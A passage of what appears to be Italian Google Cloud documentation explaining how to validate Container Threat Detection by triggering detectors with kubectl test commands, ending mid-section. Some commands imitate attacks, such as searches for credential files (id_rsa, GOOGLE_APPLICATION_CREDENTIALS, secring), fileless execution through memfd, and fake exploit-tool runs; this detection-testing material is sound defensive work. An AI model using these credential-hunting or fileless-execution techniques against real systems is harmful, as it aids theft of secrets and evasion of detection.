Questa pagina spiega come verificare che Container Threat Detection funzioni attivando intenzionalmente i rilevatori e controllando i risultati. Container Threat Detection è un servizio integrato dei livelli Premium ed Enterprise di Security Command Center. Per visualizzare i risultati di Container Threat Detection, è necessario abilitarlo nelle impostazioni dei servizi di Security Command Center.
Prima di iniziare
Per rilevare potenziali minacce ai container, devi assicurarti che i cluster siano eseguiti su una versione supportata di Google Kubernetes Engine (GKE). Per maggiori informazioni, consulta Utilizzare una versione GKE supportata.
Attivare i rilevatori
I seguenti rilevatori sono disattivati per impostazione predefinita:
Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container
Per testare questi rilevatori, devi abilitarli esplicitamente:
Controlla lo stato del rilevatore:
export PROJECT=PROJECT_ID gcloud alpha scc settings services describe \ --service=CONTAINER_THREAT_DETECTION \ --project=${PROJECT}
Attiva il rilevatore
Added Binary Executed
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_BINARY_EXECUTED \ --project=${PROJECT}
Attiva il rilevatore
Added Library Loaded
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=ADDED_LIBRARY_LOADED \ --project=${PROJECT}
Attiva il rilevatore
Credential Access: Find Google Cloud Credentials
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=FIND_GCP_CREDENTIALS \ --project=${PROJECT}
Attiva il rilevatore
Execution: Program Run with Disallowed HTTP Proxy Env
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \ --project=${PROJECT}
Attiva il rilevatore
Exfiltration: Launch Remote File Copy Tools in Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \ --project=${PROJECT}
Attiva il rilevatore
Defense Evasion: Launch Code Compiler Tool In Container
:gcloud alpha scc settings services modules enable \ --service=CONTAINER_THREAT_DETECTION \ --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \ --project=${PROJECT}
Imposta le variabili di ambiente
Per testare i rilevatori, utilizzi la console Google Cloud e Cloud Shell. Puoi impostare variabili di ambiente in Cloud Shell per semplificare l'esecuzione dei comandi. Le seguenti variabili vengono utilizzate per testare tutti i rilevatori di Container Threat Detection.
Vai alla Google Cloud console.
Seleziona il progetto che contiene il contenitore che vuoi utilizzare per il test.
Fai clic su Attiva Cloud Shell.
In Cloud Shell, imposta le variabili di ambiente.
La zona in cui si trova il cluster:
export ZONE=CLUSTER_ZONE
Il progetto in cui si trova il contenitore:
export PROJECT=PROJECT_ID
Il nome del cluster:
export CLUSTER_NAME=CLUSTER_NAME
Le variabili sono impostate. Le sezioni seguenti includono istruzioni per testare i rilevatori di Container Threat Detection.
File binario aggiuntivo eseguito
Per attivare un risultato Programma binario aggiuntivo eseguito, rilascia un binario nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, copia /bin/ls
in un'altra posizione e poi la esegue. L'esecuzione del file binario è imprevista
perché la copia del file binario non faceva parte dell'immagine container originale, anche
se l'immagine si trova su Ubuntu 24.04 e i container devono essere immutabili.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia un file binario ed eseguilo:
Nodo x86:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Nodo ARM:
tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato Binario aggiunto eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection
filtra temporaneamente i risultati di tipo Binario aggiunto eseguito. Per visualizzare tutti i risultati di Added Binary
Executed durante la configurazione di un container, aggiungi il prefisso ktd-test
al nome del container
o del pod, come nell'esempio.
Libreria aggiuntiva caricata
Per attivare un risultato Libreria aggiuntiva caricata, rilascia una libreria nel contenitore e
caricala. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04, copia
/lib/x86_64-linux-gnu/libc.so.6
in un'altra posizione e poi la carica utilizzando
ld
. La libreria caricata è imprevista perché la copia della libreria non faceva parte dell'immagine container originale, anche se questa immagine si trova su Ubuntu 24.04 e i container sono immutabili.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia una libreria e utilizza
ld
per caricarla:Nodo x86:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
Nodo ARM:
tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"
Questa procedura di test dovrebbe creare un risultato Libreria aggiunta caricata che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato Logging per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center a livello di organizzazione.
Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection
filtra temporaneamente i risultati di Added Library Loaded. Per visualizzare tutti i risultati caricati della libreria aggiunta durante la configurazione di un container, aggiungi il prefisso ktd-test
al nome del container o del pod, come nell'esempio.
Comando e controllo: strumento di steganografia rilevato
Per attivare un risultato Command and Control: Steganography Tool Detected
(Anteprima),
all'interno di un container deve essere eseguito un binario con funzionalità di manipolazione dei file coerenti con
gli strumenti di steganografia. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina in steghide
(o un altro strumento di steganografia come stegano
). Questo comportamento viene segnalato come
sospetto perché può indicare un tentativo di preparare un contenitore per nascondere
o estrarre dati, potenzialmente per scopi dannosi.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di steganografia come
steghide
:Nodo x86:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Nodo ARM:
tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/steghide; /tmp/steghide"
Questa procedura di test crea un risultato Command and Control: Steganography Tool
Detected
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Accesso con credenziali: trova Google Cloud Credenziali
Per attivare un risultato Credential Access: Find Google Cloud Credentials
, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina in grep
. L'eseguibile rinominato viene quindi eseguito con argomenti
che specificano un pattern di ricerca indicativo di una forma di Google Cloud credenziali.
Questa azione è contrassegnata come sospetta perché imita il comportamento osservato
quando si tenta di individuare le credenziali di Google Cloud .
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Nodo ARM:
tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"
Questa procedura di test dovrebbe creare un risultato Credential Access: Find Google Cloud Credentials
che puoi visualizzare in Security Command Center e in Cloud Logging se
hai configurato Logging per Container Threat Detection. La visualizzazione
dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o
Enterprise di Security Command Center.
Accesso alle credenziali: ricognizione chiave GPG
Per attivare un risultato Credential Access: GPG Key Reconnaissance
, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina in find
(o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il
comportamento osservato quando si tenta di individuare le chiavi di sicurezza GPG.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Nodo ARM:
tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find secring"
Questa procedura di test dovrebbe creare un risultato Credential Access: GPG Key Reconnaissance
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Accesso con credenziali: cerca chiavi private o password
Per attivare un risultato Credential Access: Search Private Keys or Passwords
, all'interno di un container deve essere eseguito un binario in grado di cercare i contenuti dei file. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina in find
(o in un altro strumento di ricerca adatto come grep). L'eseguibile rinominato viene quindi eseguito con argomenti che specificano un pattern di ricerca indicativo di chiavi private o password oppure pattern di contenuti che suggeriscono password o secret. Questa azione è contrassegnata come sospetta perché imita il
comportamento osservato quando si tenta di individuare informazioni sensibili come
chiavi private o password all'interno di un ambiente containerizzato.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Nodo ARM:
tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/find; /tmp/find id_rsa"
Questa procedura di test dovrebbe creare un risultato Credential Access: Search Private Keys or
Passwords
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Evasione della difesa: righe di comando del file ELF Base64
Per attivare un risultato Defense Evasion: Base64 ELF File Command Line
, un
processo deve avere base64
come argomento e f0VMRgIB
come argomento
che è la forma con codifica base64 di ELF
. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. base64
viene quindi eseguito con gli argomenti -d
e f0VMRgIB
.
Questa azione è contrassegnata come sospetta perché imita il comportamento osservato
quando si tenta di decodificare dati binari per eseguire codice dannoso.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Nodo ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "base64 -d f0VMRgIB"
Questa procedura di test dovrebbe creare due risultati Defense Evasion: Base64 ELF File Command Line
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center. Vengono creati due risultati perché sia il comando bash -c
iniziale sia l'esecuzione del comando base64 -d
soddisfano i criteri di ricerca.
Evasione della difesa: script Python con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Python Script Executed
, un processo deve avere echo
o base64
come argomento e aW1wb3J0IH
come argomento, che è la forma con codifica base64 di python -c
. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo
viene quindi eseguito con l'argomento aW1wb3J0IH
.
Questa azione è contrassegnata come sospetta perché imita il comportamento osservato
quando si tenta di decodificare dati binari per eseguire codice dannoso.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Nodo ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo aW1wb3J0IH"
Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Python Script Executed
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Evasione della difesa: script shell con codifica Base64 eseguito
Per attivare un risultato Defense Evasion: Base64 Encoded Shell Script Executed
, un processo deve avere echo
o base64
come argomento e IyEvYmluL2Jhc2gK
come argomento, che è la forma con codifica base64 di #!/bin/bash
. Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. echo
viene quindi eseguito con l'argomento IyEvYmluL2Jhc2gK
.
Questa azione è contrassegnata come sospetta perché imita il comportamento osservato
quando si tenta di decodificare dati binari per eseguire codice dannoso.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario dello strumento di ricerca come
find
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Nodo ARM:
tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "echo IyEvYmluL2Jhc2gK"
Questa procedura di test dovrebbe creare un risultato Defense Evasion: Base64 Encoded Shell Script Executed
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato la registrazione per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Evasione delle difese: avvia strumento di compilazione codice nel container
Per attivare un risultato Defense Evasion: Launch Code Compiler Tool In Container
(Anteprima), uno strumento di compilazione del codice deve essere eseguito all'interno di un container.
Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. Copia /bin/ls
e lo rinomina
in gcc10
(o in un altro compilatore come clang
). Questo comportamento viene segnalato come
sospetto perché può indicare un tentativo di compilare ed eseguire codice
dannoso all'interno del contenitore per eludere il rilevamento o modificarne il comportamento.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Esegui un binario del compilatore come
gcc10
con gli argomenti appropriati:Nodo x86:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Nodo ARM:
tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
Questa procedura di test crea un risultato Defense Evasion: Launch Code Compiler Tool
In Container
che puoi visualizzare in Security Command Center e in
Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: file binario aggiuntivo dannoso eseguito
Per attivare un'esecuzione: è stato aggiunto il risultato File binario dannoso eseguito, rilascia un file binario dannoso nel contenitore ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine di Ubuntu 24.04, crea un file dannoso simulato e lo esegue. L'esecuzione del file binario è inattesa perché il file binario dannoso simulato non faceva parte dell'immagine del container originale e il file binario è un file di test EICAR, un file classificato come dannoso dalle informazioni sulle minacce.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia il file binario EICAR ed eseguilo:
Nodo x86:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Nodo ARM:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Questa procedura di test dovrebbe creare un risultato Esecuzione: aggiunto binario dannoso eseguito che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Per la riduzione del rumore, quando crei un container per la prima volta, Container Threat Detection
filtra temporaneamente i risultati Esecuzione: aggiunto binario dannoso eseguito. Per visualizzare
tutti i risultati di Esecuzione: file binario aggiuntivo dannoso eseguito durante la configurazione di un container, aggiungi il prefisso ktd-test
al nome del container o del pod, come nell'esempio.
Esecuzione: container escape
Per attivare un'esecuzione: Container Escape finding, inserisci un file binario nel tuo
container ed eseguilo. Questo esempio esegue il deployment dell'ultima immagine Ubuntu 24.04,
copia /bin/ls
in un'altra posizione, la rinomina in uno strumento sospetto
(botb-linux-amd64
) e lo esegue con argomenti aggiuntivi. Questa azione è
considerata sospetta perché questa esecuzione simula un comportamento coerente con
un tentativcontainer escapeer.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Rilascia un file binario dello strumento di exploit del contenitore come
botb-linux-amd64
ed eseguilo:Nodo x86:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
Nodo ARM:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Questa procedura di test dovrebbe creare un risultato Esecuzione: Container Escape che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: esecuzione senza file in /memfd:
Per attivare un risultato Execution: Fileless Execution in /memfd:
,
deve essere eseguito un processo dal file system in memoria /memfd:
.
Questo esempio utilizza l'ultima immagine di Ubuntu 24.04. L'utilità /bin/ls
viene
copiata in un file anonimo in /memfd:
. Viene quindi eseguito il binario copiato.
L'esecuzione di un file binario in /memfd:
viene segnalata come sospetta perché
imita il comportamento di un oggetto che tenta di essere eseguito in memoria per evitare rilevamenti
basati su file.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crea un container con privilegi e apri bash per eseguire i comandi:
Nodo x86:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
Nodo ARM:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open("/bin/ls",'rb') execdata = f.read() f.close() fd = os.memfd_create("", 0) fname = "/proc/self/fd/{}".format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ["/bin"] os.execve(fname, args, os.environ)"
Questa procedura di test dovrebbe creare un risultato Execution: Fileless Execution in /memfd:
che puoi visualizzare in Security Command Center e
in Cloud Logging se hai configurato Logging per
Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se
attivi il livello Premium o Enterprise di Security Command Center.
Esecuzione: esecuzione della vulnerabilità Ingress Nightmare
Per attivare un'esecuzione: risultato Esecuzione della vulnerabilità Ingress Nightmare (anteprima),
esegui il binario nginx nel container. Questo esempio esegue il deployment dell'ultima
immagine Ubuntu 24.04, copia /bin/ls
in un'altra posizione, la rinomina in un binario Nginx (nginx
) e lo esegue con argomenti aggiuntivi che fanno riferimento al
file system /proc
. Questa azione è considerata sospetta perché
simula un comportamento coerente con l'exploit Ingress Nightmare (CVE-2025-1974),
indicando quindi una potenziale esecuzione di codice remoto.
Utilizza Cloud Shell per accedere al control plane del cluster:
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT
Crea un file binario Nginx come
nginx
ed eseguilo durante l'accesso al file system/proc
:Nodo x86:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Nodo ARM:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Questa procedura di test crea un risultato di esecuzione: vulnerabilità Ingress Nightmare che puoi visualizzare in Security Command Center e in Cloud Logging se hai configurato la registrazione per Container Threat Detection. La visualizzazione dei risultati in Cloud Logging è disponibile solo se attivi il livello Premium o Enterprise di Security Command Center
Esecuzione: esecuzione dello strumento di attacco Kubernetes
Per attivare un'esecuzione: risultato dell'esecuzione dello strumento di attacco Kubernetes, inserisci un
